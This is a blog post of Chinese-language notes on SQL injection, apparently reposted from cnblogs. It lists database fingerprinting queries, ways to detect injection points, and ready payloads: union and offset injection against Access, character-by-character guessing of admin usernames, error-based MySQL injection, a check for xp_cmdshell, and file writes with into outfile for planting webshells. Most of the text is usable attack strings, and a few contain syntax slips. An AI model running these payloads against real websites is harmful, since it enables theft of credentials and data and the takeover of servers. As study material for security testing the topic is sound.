sql注入的一些笔记

SQL注入详解

据不完全统计,国内网站ASP+Access或SQLServer占70%以上,PHP+MySQL占20%。

一般asp+access组合比较多,aspx+mssql(SQL Server)组合比较多

常用数据库

常见的数据库有Oracle、MySQL、SQL Server、Access、MSsql、mongodb等

关系型数据库通过外键关联来建立表与表之间的关系,非关系数据库通常指数据以对象的形式存储在数据库中,而对象之间的关系通过每个对象自身的属性来决定。

基于特定函数判断sql注入数据库类型方法

 len()和length()

在mssql和mysql以及db2内,返回长度值调用len()函数;在oracle和INFORMIX则是通过length()来返回长度值。

当你使用and len('a')=1的时候,返回正常页面时,可以推断当前数据库类型可能是mssql,或mysql或是db2,反之可能会是orcale和informix.(这里有代继续考究)

 @@version和version()

在mysql内,可以用@@version或是version()来返回当前的版本信息。但是无法判断mysql还是mssql时,可以用version()函数来构造判断。

version()>1返回与@@version>1相同页面时,则可能是mysql。如果出现提示version()错误时,则可能是mssql。

 substring()和substr()

在mssql中可以调用substring()。oracle则只可以调用substr()。

 length()   lengthb()  char_length()

1、Oracle: length(): 表示字符串长度 lengthb():表示字符串的字节长度

2、mysql: length():返回字符串所占的字节数 char_length():返回字符串的字符数

数据库判断

(1)注释符判断

–-是 Oracle 和 MSSQL 支持的注释符,如果返回正常,则说明为是这两种数据库类型之一

;是子句查询标识符,Oracle 不支持多行查询,因此如果返回错误,则说明很可能是 Oracle

(2)函数判断

注意:Access只有一个数据库,直接猜解表名即可

and ( select count(*) from sys.usr_tables) > 0 oracle数据库

and (select count(*) from msysobjects) > 0 -返回权限不足为access数据库

and (select count(*)from MSysAccessObjects)>0 返回正确为access 数据库

and (select count(*)from sysobjects)>0 返回正常说明是 mssql 数据库

and length(user())>10 返回正常说明是 Mysql

Oracle 可以根据 from dual 虚拟库判断

对了,判断注入点忘记说了

数字型:id=2-1

字符型: ’ 、’)、 '))、 "、 ")、 "))

注释符:-- (这是–空格)、–+、/**/、#

通过观察页面是否正常,判断页面是否存在注入点

如 id=21’ and 1=1 %23 页面正常

id=21’ and 1=2 %23 页面返回无数据

MySQL 与 MSSQL 及 ACCESS 之间的区别

(1)MySQL5.0 以下没有 information_schema 这个默认数据库

(2)ACCESS 没有库名,只有表和字段,并且注入时,后面必须跟表名,因此只能爆表,ACCESS

举例:select 1,2,3 from table_name union select 1,2,3 from table_name

(3)MySQL 使用 limit 排序,ACCESS 使用 TOP 排序(TOP 在 MSSQL 也可使用)

各数据库标志性信息

sql server: select @@version --

Oracle : select banner from v$version

mysql :select @@version, version() --

length(user)>0正常

postgresql: select version() --

各数据库特有的函数:

sql server: @@pack_received @@rowcount

mysql: connection_id() last_insert_id() row_count()

oracle: bitand(1,1)

postgresql: select extract( dow from row())

对于字符串处理方式:

sql server: id=1 and 'a'+'b'='ab' --

mssql: id=1 and 'a' + 'b' = 'ab'

mysql: id= 1 and 'a'+'b'='ab' ,'ab'=concat('a' , 'b')

oracle: id=1 and 'a'+'b' = 'a' || 'b' , 'ab'=concat('a' , 'b')

postgresql: id=1 and 'a' + 'b' = 'a' || 'b', 'ab' = concat('a' , 'b')

特殊符号,注释的判断

1、"null" 和 "%00" 是Access支持的注释

2、";" 是子句查询标识符,在Oracle中不支持多行查询,返回错误,很可能是Oracle数据库。

(SQL Server) MSsql服务、端口、后缀

端口:1433

后缀:cracer.mdf

日志文件后缀:cracer_log.ldf

mssql数据库权限

sa权限:数据库操作,文件管理,命令执行,注册表读取等system

db权限:文件管理,数据库操作等users-administrators

public权限:数据库操作guest-users

SQL Server有一些系统变量,如果服务器IIS提示没关闭,并且SQL Server返回错误提示的话,那可以直接从出错信息的获取,方法如下:

?id=49 and user>0

这句语句很简单,但却包含了SQL Server特有注入方法的精髓,我自己也是在一次无意的测试中发现这种效率极高的猜解方法。先看看含义,前面语句正常,重点在and user>0, user是SQL Server的一个内置变量,它的值是当前连接的用户名,类型为nvarchar。拿一个nvarchar的值跟int的数0比较,系统会先试图将nvarchar的值转成int型,当然,转的过程中肯定会出错,SQL Server的出错提示是:将nvarchar值"abc"转换数据类型为int的列时发生语法错误,abc正是变量user的值,这样,就拿到了数据库的用户名。

常用测试语句:

 and exists(select* from sysobjects)       //判断数据库是否为SQLServer
 and exists(select * from tableName)       //判断某表是否存在..tableName为表名
 and 1=(select @@VERSION)                 //SQLServer版本
 and 1=(select db_name())                 //当前数据库名
 and 1=(select @@servername)               //本地服务名
 and 1=(select IS_SRVROLEMEMBER('sysadmin')) //判断是否是系统管理员
 and 1=(select IS_MEMBER('db_owner'))       //判断是否是库权限
 and 1=(select HAS_DBACCESS('master'))     //判断是否有库读取权限
 and 1=(select count(*) from master.dbo.sysobjects where xtype ='X' and name='xp_cmdshell')                       //判断XP_CMDSHELL是否存在

 

注入的分类

内联注入

布尔注入

报错注入

延时注入

堆叠注入

常识:

Access中,中文的ASCII码可能会出现负数,取出该负数后用abs()取绝对值,汉字字符不变。

SQL Server中,中文的ASCII为正数,由于UNICODE的双位编码,不能用函数ascii()取得ASCII码,必须用函数unicode()返回unicode值,再用nchar函数取得对应的中文字符。

Access注入及其常见函数

猜解表名:and exists( select * from 表名)

猜解列名:and exists (select 列名 from 表名)

猜解用户名和密码长度

and ( select top 1 len(列名 ) from 表名) = X ----x代表数字,返回正确代表所猜的列名长度为这个数字

如:

判断用户名长度是否大于零:and ( select top 1 len( username) from admin) > 0

猜解用户和密码的ascii码

这里应该采用截半法来提高效率。ascii码 0-126

这里假设用户为:admin 密码为:admin888,猜出来的ascii码用转换工具转换下就可以得出明文

and ( select top 1 asc( mid( username,1,1)) from admin) > 97

and ( select top 1 asc( mid( username,1,1)) from admin) = 97

and ( select top 1 asc( mid( username,2,1)) from admin) = 100

and ( select top 1 asc( mid( username,3,1)) from admin) = 109

and ( select top 1 asc( mid( username,4,1)) from admin) = 105

偏移注入

利用 “* ”代替admin表内存在的字段

1、假设order by 判断字段为18

2、union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 from admin

3、当成功时说明admin下为15个字段,一直到返回列名(不一定成功)

?id=688 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,* from admin ?id=688 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* from admin ?id=688 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,* from admin

偏移注入的基本公式为:

order by 出的字段数减去*号字段数,然后再用order by的字段数减去2倍刚才得出的答案

也就是 18-15 = 3

18 - 3*2 = 12

最后注入

asp?id=688 union select 1,2,3,4,5,6,7,8,9,10,11,12,a.id,b.id,* from ( admin as a inner join admin as b on a.id = b.id)

跨库查询(需要知道另一个数据库绝对路径和表名、字段名)

?id = 1 union select 1,2,3,password,5,6 from [另一个数据库的绝对路径].需要查询的表

Mysql注入

mysql数据库在渗透过程中能够使用的功能还是比较多的,除了读取数据之外,还可以进行对文件进行读写(前提是权限足够)。

读取前提:

1.用户权限足够高,尽量具有root权限。

2.secure_file_priv不为NULL。

3.获取web目录的物理路径。

 Mysql用secure_file_priv这个配置项来完成对数据导入导出的限制。如果secure_file_priv=NULL,Mysql服务会禁止导入和导出操作。通过命令查看secure_file_priv的当前值,确认是否允许导入导出以及导出文件路径。
 show variables like '%secure_file_priv';
 
 MySQL中root用户拥有所有权限,但写入webshell并不需要一定是root用户权限,比如数据库用户只要拥有file权限就可以执行select into outfile操作。
 
 当secure_file_priv文件导出路径与web目录路径重叠,写入webshell才可以被访问到。

文件注入

?id=0 union select 1,'test',3,4,5 into outfile 'c:\\111.txt' # 向系统写入文件

?id=0 union select 1,load_file('c:\\ 111.txt'),3,4,5 #回显内容 证明写入成功

盲注

and (select length(database())) > 4 #判断数据库名称长度

and (select ascii(substr (database(),1,1))) >119 #判断当前数据库第一个字母是什么

报错注入

and select 1 from ( select count(*), concat(version(),floor(rand(0)*2))) x from information_schema.tables group by x) a ) 通过floor 报错

or 1 group by concat_ws(0x7e,version() , floor( rand ( 0*2 )) having min(0) or 1 #通过floor报错

and extractvalue( 1, concat( 0x5c, (select version ()))) #利用extractvalue函数报错(长度有限制,最长32位)

and 1 = (updatexml(1,concat(0x23,(select version())),1)) #利用updatexml函数报错(长度有限制,最长32位)

 

猜你喜欢

转载自www.cnblogs.com/shijiahao/p/13382556.html